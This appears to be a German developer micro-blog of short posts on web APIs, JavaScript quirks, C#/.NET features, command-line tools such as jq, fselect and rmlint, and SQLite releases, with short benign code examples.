Damit lässt sich jetzt sehr viel machen, z. B. mathematische Operatoren über generische Interfaces zu definieren. Dann kann einer Library egal sein, welchen Typ man reinwirft, hauptsache er “kann Addition” (überladene Operatoren sind auch statische Methoden, deshalb ging das bisher nicht). Natürlich gehen auch Vergleichsoperatoren, die bisher über das IComparable<T>-Interface liefen.

Wenn man da jetzt die Mathematiker drauf lässt, bekommt man sicher ganz viele Gruppen, Monoiden, Ringe, Körper und noch ganz andere viele Dinge. Ich hoffe, dass der JIT damit ordentlich umgehen kann.
Bei den Gleichheitsoperatoren fällt mir jetzt auf, dass sie nicht zwischen Partieller Gleichheit und totaler Gleichheit unterscheiden, wie Rust das macht. Generell wirkt es etwas, wie Concepts aus C++. Vielleicht ein bisschen weniger mächtig.

dns.google ist nicht nur die Domain des Anfragen-trackenden DNS-Servers von Google (die berühmten vier achten). Die haben eine praktische GUI, mit der man mal eine Test-Anfrage machen kann.

Wer nicht weiß, welchen DNS-Server man als Upstream verwenden könnte, wenn nicht Google, Cloudflare, etc.: digitalcourage hat da welche.

Mit window.find (achtung, Non-Standard) kann man Strings im Fenster der Webseite finden.

Git hat 2 eher weniger bekannte Commands: switch und restore. Machen beide ein bisschen das, was man sonst mit checkout gemacht hat.

Die Beta von TypeScript 4.4 wurde gerade veröffentlicht. Sind ein paar schöne Neuerungen dabei. Vorallem die verbesserte Kontrollflussanalyse.
Mal schauen, was aus Inlay Hints wird. Die gibt’s ja schon länger bei IntelliJ für Java (und vermutlich auch andere von denen supportete Sprachen). In der Preview sieht das noch sehr noisy aus.

Node.js hat eine API für einen asynchronen LocalStorage bekommen. Mal schauen, was es für coole Use-Cases es für den asyncLocalStorage gibt. Erinnert ein bisschen an Reacts useContext().

Mit dem itemprop-Attribut kann man seinem HTML noch mehr Semantik geben. Auszu aus MDN:

<div itemscope itemtype="http://schema.org/Movie">
	<h1 itemprop="name">Avatar</h1>
	<span>
		Director:
		<span itemprop="director">James Cameron</span>
		(born August 16, 1954)
	</span>
	<span itemprop="genre">Science fiction</span>
	<a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">Trailer</a>
</div>

Auf MDN gibt’s noch um einiges mehr Beispiele. U. a. auch das meter-Element, um z. B. Bewertungen darzustellen:

	<meter itemprop="ratingValue" min=0 value=3.5 max=5>Rated 3.5/5</meter>

Warum heißt es eigentlich “Datenvolumen”? Warum sind Daten ein Rauminhalt?

Warum keine Länge oder Fläche? Oder eine ganz andere Basiseinheit, wie “Datenmenge” oder “Datenmasse”?

Einer meiner Lieblings-Youtuber, Ben Eater, hat gerade ein neues Video hochgeladen: How does a USB keyboard work?

Ich habs noch nicht gesehen, kann aber jetzt schon sagen, dass es sich lohnt. In seinem Kanal baut+erklärt er diverse Dinge auf einem Breadboard. Z. B. einen 8-Bit-Prozessor, eine VGA-Ansteuerung und eine PS2-Tastatur-Ansteuerung. Er baut das nicht einfach so, sondern zeigt auch, wie man das an einen Prozessor anbindet (dem 6502). Wenn man also seinen Videos folgt, kann man schon einen Computer mit Tastatur und Bildschirm(en) auf einem Breadboard bauen… und jetzt kommt die erste USB-Peripherie!

Ein weiterer Blogpost, den viele kennen: PHP: a fractal of bad design

Ist auch schon etwas älter (2012). In der Zeit hat sich fairerweise auch schon viel getan. Das meiste ist aber irreversibel in der Sprache verankert.
Versteht mich nicht falsch, ich will hier ein sinnloses PHP-gebashe betreiben. Man kann PHP durchaus für Dinge verwenden. Es ist halt eine von vielen möglichen Lösungen.

Gerade hat Microsoft ihre Entwicklerkonferenz BUILD. Da kam jetzt auch eine neue Preview-Version von .NET 6 raus. Hier gibt es einen Artikel über die Neuerungen. Viel cooles dabei. Am meisten freuen mich die neuen Funktionen in der LINQ.

Warum ich überhaupt auf den DOOM-Post gekommen bin: Es gibt auch ein CAPTCHA, in dem man in einem fake-DOOM mindestens 4 Gegner treffen muss. Ist natürlich nicht das “echte” DOOM. Aber möglich wäre das sicherlich über WebAssembly und WebGL. Und bei der durchschnittgröße einer Webseite heutzutage würde es vermutlich nicht mal auffallen, wenn man das komplette DOOM nur für das CAPTCHA lädt.

Es gibt ja so diverse Blogposts, die man als Internetmensch normalerweise mal gesehen hat. Ich fage hier mal eine Serie an.

Der Anfang ist: The Web is Doom aus 2016. Grundaussage: Die durchschenittliche Webseite ist heute (also das Heute von 2016) größer als das erste DOOM, dem 2.5D-Shooter.

Mittlerweile kann jeder nennenswerte Browser das backdrop-filter-Attribut in CSS.
Damit kann man diverse Filter auf das anwenden, was hinter einem HTML-Element liegt. Z. B. einen Weichzeichner, Graustufen, Sepia etc.

Früher war das immer kompliziert, wenn Leute Aero-Effekt von Vista nachbauen wollten; jetzt geht das mit einer CSS-Eigenschaft.

Falls Ihr Node.js/JavaScript und Promises verwendet: Diesen Talk solltet Ihr gesehen haben. Schickt ihn am besten auch an Eure Kollegen. Prämisse: Ihr benutzt wahrscheinlich Promises falsch. Kann man auch auf 1.25-facher Geschwindigkeit schauen.

Ein interessanter Ansatz für Shell-Skripte. Das ist JavaScript, aber mit einigen Default-Imports und npm-Paketen. Die Demos sehen interessant aus:

#!/usr/bin/env zx

await $`cat package.json | grep name`

let branch = await $`git branch --show-current`
await $`dep deploy --branch=${branch}`

await Promise.all([
  $`sleep 1; echo 1`,
  $`sleep 2; echo 2`,
  $`sleep 3; echo 3`,
])

let name = 'foo bar'
await $`mkdir /tmp/${name}`

Das Temporal-Proposal ist neulich in Stage 3 gelandet. Das ist eine neue Zeit-API für JavaScript, mit der man endlich Date, moment.js etc. wegwerfen kann.

Hier eine schnelle Übersicht. Wesentlich ist die Unterscheidung zwischen einem “Datum”/”Datum+Zeit” und einem “Instant”. Das letztere kennen viele vielleicht als Konzept aus Jodatime/Nodatime und ist eigentlich fast immer das, was man will, wenn man mit Timestamps arbeitet.

Zusammen mit den APIs Intl.DateTimeFormat und Intl.RelativeTimeFormat braucht man jetzt eigentlich keine Librarys mehr für irgendwelche Dinge mit Zeit. Die gesamte Intl-API ist übrigens einen Blick wert. Da sind auch so Sachen wie Zahlenformatierung und Plural-Regeln.

parseInt ist in JavaScript so ein Ding. Nicht nur, dass der zweite Parameter die Basis angibt und es damit unnütz für Operationen wie .map wird1. Nein, auch, wenn das zu parsende bereits eine Zahl ist, gibt’s Probleme!

Nehmen wir dieses schöne Beispiel und versucht rauszubekommen, was das Ergebnis für jede Zeile ist:

parseInt(0.5);
parseInt(0.05);
parseInt(0.005);
parseInt(0.0005);
parseInt(0.00005);
parseInt(0.000005);
parseInt(0.0000005);

Richtig, alle Zeilen bis auf die letzte geben 0 zurück. Und die letzte? Die wird zu 5.
Hier die Erklärung, wie das zustande kommt. tl;dr: 0.0000005.toString() ist "5e-7", welches bis zum e geparst wird. Die davor sind 0, weil 0.000005.toString() zum String "0.000005" wird (und der Parser korrekterweise den Integer 0 daraus macht). Das verursacht aktuell bestimmt schon viele Bugs und wär’ bestimmt auch ein cooler Aufhänger für ein Node.js-CTF!

Als Alternative zu parseInt könnte man jetzt so Konstrukte wie Number(0.0000005) | 0 ranziehen. Vielleicht hat das aber auch wieder seine Fallstricke?

1: Zugegebenermaßen ist es aber auch sinnvoll, die Basis zum Parsen mit angeben zu können.

Ich immer, mit meinem SQLite. Hier hat jemand etwas echt cooles gebaut: Eine SQLite-Datei, statisch gehostet. Der JS-Client kann an diese Anfragen schicken. Ein Wrapper um das Client-Dateisystem fragt Seiten erst an, wenn der SQLite-Client sie lesen will.

Warum ist das cool? Man kann damit eine komplett statisch gehostete Suchfunktion für statische Seiten bauen, bei dem die SQLite-DB bei jedem Page-Build frisch gebaut wird. Oder bequem Datensätze an den Client ausliefern, ohne ein Backend zu haben.
Da gibt’s sicher noch einige Anwendungsfälle mehr!

Mit apt-file kann man in APT-Paketen nach einer datei suchen. Das ist praktisch, wenn man mal wieder ein Latex-Dokument kompilieren will und irgendein Package fehlt und man nicht weiß, welches man dafür installieren muss.

Konkretes Beispiel: listings.sty wird nicht gefunden.

$ apt-file search listings.sty
latexml: /usr/share/perl5/LaTeXML/Package/listings.sty.ltxml
texlive-extra-utils: /usr/share/texlive/texmf-dist/tex/latex/checklistings/checklistings.sty
texlive-lang-japanese: /usr/share/texlive/texmf-dist/tex/luatex/luatexja/patches/lltjp-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/cnltx/cnltx-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/exsheets/exsheets-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/filehook/filehook-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/listings/listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/lwarp/lwarp-listings.sty
texlive-publishers: /usr/share/texlive/texmf-dist/tex/latex/hagenberg-thesis/hgblistings.sty
texlive-xetex: /usr/share/texlive/texmf-dist/tex/xelatex/xecjk/xeCJK-listings.sty

War in diesem Fall dann wohl texlive-latex-recommended.

Ihr kennt sicherlich <input type="email> und so weiter. Wenn einem das nicht reicht, kann man input-Felder auch mit RegEx-Patterns validieren:

<input
    type="text"
    name="country_code"
    pattern="[A-Za-z]{3}"
    title="Three letter country code"
>

(W3Schools dazu)

Bin gerade auf diese Seite zum Generieren von Mock-Daten gestoßen:

https://mockaroo.com

Sieht cool aus. Sind aber kommerziell - vielleicht gibt’s auch FOSS-CLI-Tool-Alternariven?

Wir hatten ja gerade Event-Listener-APIs. Da gibt’s noch mehr:

Will man viele Handler auf einmal entfernen, kann man das auch über einen AbortController machen:

const controller = new AbortController();

element1.addEventListener("click", () => {}, {
    signal: controller.signal,
});
element2.addEventListener("click", () => {}, {
    signal: controller.signal,
});
element3.addEventListener("click", () => {}, {
    signal: controller.signal,
});

// Alle Handler entfernen
controller.abort();

Was mir an der Lösung so schön gefällt, ist, dass man kein removeEventListener braucht. Genauer gesagt: Man muss die Lamdas nicht in Variablen auslagern, damit man sie dann removeEventListener wieder übergeben kann.

Der AbortController ist sowas ähnliches wie die CancellationTokenSource und das AbortSignal sowas wie das CancellationToken aus .NET.

Man kann den AbortController auch nutzen, um einen fetch-Request abzubrechen:

fetch(url, {
    signal: controller.signal,
});

Besonders toll finde ich, dass man damit mehrere Aktionen gleichzeitig abbrechen kann.

Leider ist das ganze API-spezifisch. Also man kann nicht generell Promises damit abbrechen. Dafür gab es mal ein Proposal und ein wenig später noch eins, das auch nicht mehr so aktiv ist.

MDN-links:

Wer öfters mit Node.js und im Browser arbeitet, der wird on() bei Node.js und addEventListener() im Browser kennen.

Oft möchte man aber nur ein einziges Mal auf ein Event reagieren. Bei Node.js gibt es dafür once(). Verhält sich wie on(), wird aber nur ein Mal aufgerufen.

Bisher dachte ich, dass man das bei addEventListener() immer manuell amchen musste. Es geht aber so:

element.addEventListener("click", () => {}, {
    once: true,
});

MDN dazu

Mit console.group kann man (auf-/einklappbare) Abschnitte in der JS-Konsole erzeugen. Die können auch durchaus verschachtelt sein:

console.log("This is the outer level");
console.group();
console.log("Level 2");
console.group();
console.log("Level 3");
console.warn("More of level 3");
console.groupEnd();
console.log("Back to level 2");
console.groupEnd();
console.log("Back to the outer level");

MDN dazu

Man kann in mit JS ohne jQuery ein Element “smooth” in den sichtbaren Bereich scrollen:

el.scrollIntoView({
    behavior: "smooth",
});

Man kann zu html-anchor auch ohne JS scrollen, mit CSS:

html {
    scroll-behavior: smooth;
}

Dann im HTML:

<a href="#tolle-ueberschrift">Klick hier</a>
<h1 id="tolle-ueberschrift">Es folgt ein toller Artikel...</h1>

MDN dazu, CanIUse dazu

Wer Probleme damit hat, dass auf mobilgeräten mit Touchscreen manchmal Dinge gescrollt werden, die eigentlich nicht gescrollt werden sollten, den rettet vielleicht die overscroll-behavior-Eigenschaft.

Es gibt einen dialog-Tag für Modals und sonstige interaktive Komponenten.

Hatte neulich Tools verlinkt, mit denen man auf Dateiinhalte Querys absetzen kann.

Heute springt mit das Tool fselect entgegen. Da kann man SQL-like Abfragen auf das Dateisystem machen, um z. B. eine Datei zu finden. Falls man nicht so fluent in find ist.

Beispiele aus der README:

fselect "name from /tmp where (name = *.tmp and size = 0) or (name = *.cfg and size > 1000000)"
fselect "LOWER(name), UPPER(name), LENGTH(name), YEAR(modified) from /home/user/Downloads"
fselect size, path from /home/user where name = '*.cfg' or name = '*.tmp'
fselect size, abspath from ./tmp where size gt 2g
  • tools

Die FSF sagt übrigens, wenn in deiner Lizenz “The Software shall be used for Good, not Evil.” steht, verletzt das “freedom 0” und macht somit die ganze Lizenz Non-Free.

In dem StackOverflow-Post hatte jemand gefragt, warum plötzlich sein PHP nicht mehr JSON deserialisieren kann. Manche Distributionen haben php*-json rausgenommen, weil es keine freie Lizenz (nach FSF) hat.

Cooler Hack: Git als NoSql-Datenbank.

Dabei habe ich auch gelernt, dass man sich den Inhalt einer Datei in einem bestimmten Branch mit git show <branch>:<dateipfad> anzeigen lassen kann.

Falls Ihr Duplikate (bitweise identisch) löschen wollt: rmlint ist ein tolles Tool dafür.

Löscht nicht direkt, generiert nur ein Shell-Skript mit dem man dann die Löschung vornimmt. Hat auch diverse Optionen. Z. B. kann man statt Löschen auch einen Sym- oder Hardlink erstellen. Verwende ich bei meinen Readonly-Backups, um etwas Platz zu sparen.

Wer experimentiertfreudig ist, kann das mit dem Hardlinks ja auch mal auf einem node_modules ausprobieren.
Die npm-Alternative pnpm fährt einen Symlink-Ansatz.

Kennt Ihr jq? Damit könnt Ihr Jsonpath-Querys auf JSON im Terminal werfen. So kann man ganz gut strukturierte Daten in Bash-Skripten verarbeiten.

xq kann das mit XML.

Für YAML gibt es zwei verschiedene, einmal yq (einen jq-Wrapper für XML, YAML und TOML) und yq (jq nur für ausschließlich YAML). Leider haben beide denselben Namen.

Dann gibt es noch q. Mit q kann man SQL-Querys auf CSV-Dateien absetzen.

  • tools

Seit .NET 5 gibt es in C# ein Sprachfeature, mit dem man Code generieren kann, basierend auf dem C#-Code, der schon da ist.

Das öffnet vielen Dingen die Tore, z. B.:

  • Dependency Injection zur Compiletime (statt Runtime); dadurch schnellere Startzeit
  • Spezialisierte (JSON-)Serialisierungs-Typen, die genau einen bestimmten Typen (De-)Serialisieren können
  • Ganz viel Reflection fällt weg

Eigentlich ist Code-Generation gar nicht so toll. Man hat am Ende Zeug, das man nicht ordentlich debuggen kann und im Zerifelsfall ist der Fehler im Code-Generator. Sowas ist auch immer ein Zeichen dafür, dass die Sprache nicht ausdrucksstark genug ist.
Außerdem habe ich bisher schlechte Erfahrungen damit gemacht (ok, eigentlich nur in Java). Da hat man immer mal wieder das Problem, dass generierter Code (z. B. von immutables.org) “noch nicht da ist” und die IDE dann meckert, warum man eine nicht-existente Klasse verwendet (in diesem Fall z. B. der Builder für einen unveränderlichen Typen).

Man sieht aber trotzdem den Use-Case für solche Dinge. Da C# sich aktuell stark darauf hinentwickelt, Ahead-Of-Time-Compile-fähig zu sein, ergibt dieses Feature Sinn. Z.B. ist Reflection bei AOT-Kompilierung ein Dorn im Auge, da man nicht weiß, welche Typen/Codeteile man aus der fertigen Assembly rausschmeißen kann. Man kann außerdem sehr schön optimieren, wenn man konkreten Code mit ordentlichen Typen statt Reflection hat.

Vermutlich werden viele Dinge, die C# vor ein paar Jahren noch als eigenes Feature gebaut hätte, jetzt als Source-Generator implementiert. Letztendlich ist das ja auch nur ein Compiler-Plugin, das Lowering betreibt. Hoffentlich wird es die Sprache nicht allzu krass verwässern. Die Befürchtung habe ich ja schon.

Hier ist eine Liste mit Source-Generatoren, die man sich in einer freien Minute anschauen kann. Viel Zeug dabei, das man nicht braucht. Aber auch viel nützliches.

Der Dienst ist schon etwas älter, aber immer noch hilfreich.

Bei bugmenot.com findet man Login-Credentials zu Webseiten, die einen zum Login zwingen. Erstellt werden die Accounts von (wütenden?) Individuen.
In Firefox könnt Ihr auf dem Suchfeld einfach einen Rechtsklick -> “Add a keyword for this search…” machen. Ich habe das Keyword bug. Wenn ich dann auf bug abc.de gehe, werde ich dort auf die Seite mit den Credentials weitergeleitet.

Falls Ihr doch nicht drum herum kommt, eineen Account zu machen: Nehmt eine Wegwerf-Adresse. Ich meine jetzt nicht eine, die ihr noch irgendwo rumliegen habt. Viel mehr sowas wie 10minutemail, wo man eine E-Mail-Adresse bekommt, die 10 Minuten lang gültig ist, damit man den Aktivierungslink bestätigen kann.

Tragt den erstellten Account dann am Besten bei BugMeNot ein.

Für die Wegwerf-Adressen gibt es noch das Firefox-AddOn Bloody Vikings. Da kann man mit einem Rechtsklick auf ein E-Mail-Feld direkt eine Wegwerf-Adresse eintragen (die Seite mit dem Posteingang öffnet sich dann im Hintergrund). Wird leider nicht mehr so aktiv gewartet. Wer eine Alternative hat. Her damit!

Keine Lust, jedes Mal die Ascii-Tabelle zu googlen?

Versucht es hiermit, hat mein Leben verändert:

man ascii
man utf8

Ein tolles Essay darüber, dass man lieber Libraries, statt Frameworks schreiben soll.

Für die console.log-Debugger: In JS gibt es console.table(), um Arrays (oder auch Objekte, wenn man will) darzustellen (MDN dazu):

console.table(["apples", "oranges", "bananas"]);

Funktionert im Browser und in Node.js. Bei Node bekommt man diese Ausgabe:

Welcome to Node.js v15.11.0.
> // Bei Arrays:
> console.table(["apples", "oranges", "bananas"]);
┌─────────┬───────────┐
│ (index) │  Values   │
├─────────┼───────────┤
│    0    │ 'apples'  │
│    1    │ 'oranges' │
│    2    │ 'bananas' │
└─────────┴───────────┘

> // Bei Objekten:
> console.table({firstName: "Anders", lastName: "Hejlsberg"})
┌───────────┬─────────────┐
│  (index)  │   Values    │
├───────────┼─────────────┤
│ firstName │  'Anders'   │
│ lastName  │ 'Hejlsberg' │
└───────────┴─────────────┘

// Bei Arrays von Objekten:
> console.table([{firstName: "Anders", lastName: "Hejlsberg"}, {firstName: "Guido", lastName: "van Rossum"}])
┌─────────┬───────────┬──────────────┐
│ (index) │ firstName │   lastName   │
├─────────┼───────────┼──────────────┤
│    0    │ 'Anders'  │ 'Hejlsberg'  │
│    1    │  'Guido'  │ 'van Rossum' │
└─────────┴───────────┴──────────────┘

Zum Debuggen oder einfache Skriptausgabe reichts. Und bei Node.js hab ich auch schon ein NPM-Paket für Tabellen in der Konsole damit abgelöst.

Wir hatten ja gestern HTML-Templates. Das Ganze kann man kombinieren oder ersetzen mit Web Components bzw. Custom Elements. Die Idee ist, dass man eine ES6-Klasse von HTMLElement erben lässt und diese Klasse dann am Browser für ein bestimmtes Tag registriert.

Das ist in meinen Augen etwas umständlicher als z. B. in React, aber dafür funktioniert es ohne Frameworks. Vermutlich ist das auch ganz gut für sol
che Frameworks wie React, als Compile-Target.

Ich verlink hier nur mal MDN, statt das riesen Beispiel zu rezitieren: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements

Der CanIUse-Eintrag dazu.

HTML hat Templating über ein template-Tag:

<template id="productrow">
	<tr>
		<td class="record"></td>
		<td></td>
	</tr>
</template>

So kann man komplexere DOM-Teile konstruieren, ohne sich in document.createElement() und .appendChild() zu verlieren. Beispiel aus MDN zu dem Template oben:

const template = document.querySelector('#productrow');

// Clone the new row and insert it into the table
const clone = template.content.firstElementChild.cloneNode(true /* true for deep clone */);
const tds = clone.querySelectorAll("td");
tds[0].textContent = "1235646565";
tds[1].textContent = "Stuff";
tbody.appendChild(clone);

Ist vorallem praktisch, wenn man schmal ohne irgendwelche UI-Frameworks arbeitet. Mehr auf MDN.

Hier hat jemand eine Chart-Plotting-Library gebaut, die ausschließlich mit CSS läuft.

Die Idee: Man listet seine Daten in einer <table>. Bei manchen Diagramm-Typen braucht man noch ein paar Style-Attribute, mit denen man das Verhalten beeinflust.
Anstatt der Tabelle sieht man dann z. B. ein Balkendiagramm.

Das ist nicht nur cool, weil’s ne Alternative zu SVG-Renderings ist. Weil es ja auch nur eine gestylte Tabelle ist, hat man gleich bessere Accessability. Und man kann schnell mal einen Plot prototypen, ohne sich mit D3 oder Chart.js beschäftigen zu müssen.

Falls Ihr gerade 3 Stunden Zeit habt, einen Podcast zu hören:

Lex Fridman redet hier mit Brendan Eich.

Brendan geht auf viele Trivia der Computergeschichte ein und hat gefühlt irgendwie alles einmal gemacht. Natürlich geht es viel um JavaScript, die Visionen, die sie damals alle hatten, und viel Zeug im Hintergrund.

Man erfährt zum Beispiel auch, was ihn damals dazu gebracht hat, Type Coercion (also das nicht immer nachvollziehbare Umwandeln von Typen) in JS zu bauen. Anfangs war JS nämlich “ordentlich”.

Falls Euch Brendan Eich nichts sagt, das ist der, der JavaScript entwickelt hat und lange Zeit der CEO von Mozilla war.

Man kann in HTML den Browser einen DNS-Namen prefetchen lassen. Damit hat er den Namen schon aufgelöst, bevor man die sich dorthin verbinden will:

<link rel="dns-prefetch" href="https://api.example.com" >

MDN dazu

Heutzutage stellen sich viele ein ganzes Cluster hin, um eine Webseite mit 0.3 Requests pro Sekunde zu betreiben. Die ganze Schiene mit K8s etc., also horizontaler Skalierung (“mehr Maschinen”) und ganz viele Micro-Services. Sowas hat auch ein paar Nachteile, wie z. B., dass der Wartungsoverhead schnell sehr hoch wird.

Vielleicht ist manchen gar nicht bewusst, wie viel man mit vertikaler Skalierung (also z. B. “mehr RAM in die Maschine”) eigentlich erreichen kann. Gerade bin ich auf ein schönes Beispiel gestoßen, das man vielleicht einigen mal zeigen sollte: StackOverflow bzw. StackExchange hat gerade mal 9 Webserver und 2 dicke Datenbankserver. Einen für StackOverflow, einen für die restlichen StackExchange-Seiten.
Da habe ich schon deutlich aufgeblähtere Stacks mit einer nicht ansatzweise vergleichbaren Last gesehen als das, was StackOverflow da fährt.

Beim komprimieren von tar-Dateien kann man deutlich unterschiedliche Ergebnisse bekommen.
Offenbar ist die Reihenfolge, in der die Dateien in einer tar landen, bei GNUs und BSDs tar nicht definiert.

Wenn man jetzt Dateien hat, die ähnlicheren Inhalt aufweisen, je “näher” die Dateinamen sind, kann man mehr Kompression rausholen.

Bei GNUs tar gibt’s dafür --sort und sorgt bei einem Nutzer hier für 15-facher besserer Kompression.

Ggf. ist es sogar sinnvoll, die Dateien umzubenennen, sodass die Extension vorne steht. So kann die Kompression die gleichen Datei-Header direkt besser komprimieren.

Aus der Serie “was, sowas gibt’s?”, heute:

Einen HTTP-Header, mit dem man dem Browser bittet, den Local-/Session-/IndexDB-Storage, die Cookies und den Cache zu löschen.

Man entdeckt ja immer wieder Sachen in der IT, die man (bisher) nirgends gesehen hat, aber eigentlich ziemlich praktisch sind oder ein Problem auf eine andere Art lösen.

Für HTML hab ich heute:
Die Attribute ping, hreflang und download beim a-Tag.

Habe eine mehr oder weniger große Liste, die sich über die Jahre angesammelt hat. Diese werde ich in ein paar Blog-Posts umwandeln. Also nicht wundern, wenn mal eine API dabei ist, die schon etwas älter ist.

Ich bin ja ein großer Fan von SQLite. Davon kam gerade Version 3.35.0 raus.
Das ist für mich ein richtig großartiges Release. Kurzer Auszug:

  • Ein paar Mathe-Funktionen
  • ALTER TABLE DROP COLUMN (vorher musste man die Tabelle in eine neue kopieren)
  • RETURNING-Keyword für schreibende Operationen (DELETE/INSERT/UPDATE), bei dem die entsprechedne Zeile zurückgegeben wird
  • Materialized CTEs

Bis auf die Mathe-Funktionen sind das alles Game-Changer für mich.

Dieses TC39-Proposal ist gerade relativ aktiv.
Es bringt immutable Types und Form von Tupeln und Records.

Bin sehr gespannt, was da rum kommt.
Bisher sieht es vielversprechend aus.
U. a. haben wir dann die Möglichkeit, Tupel und Records als Keys in einer ES-Map zu nehmen (und dann natürlich kann man sie dann auch ordentlich mit Sets verwenden).
Die JS-Engines können dann auch sicher noch besser optimieren.

Falls Ihr ein neues C/C++-Projekt anlegt und Euch fragt, welche Compiler-Flags Ihr so gesetzt haben solltet.
Hier schreibt RedHat was darüber.
Ihr solltet natürlich schauen, dass die Flags zu Eurem Vorhaben passen.
Für Embededed-Software gibt’s hier auch einen Eintrag.

Wer noch andere kennt oder Verbesserungen hat, her damit!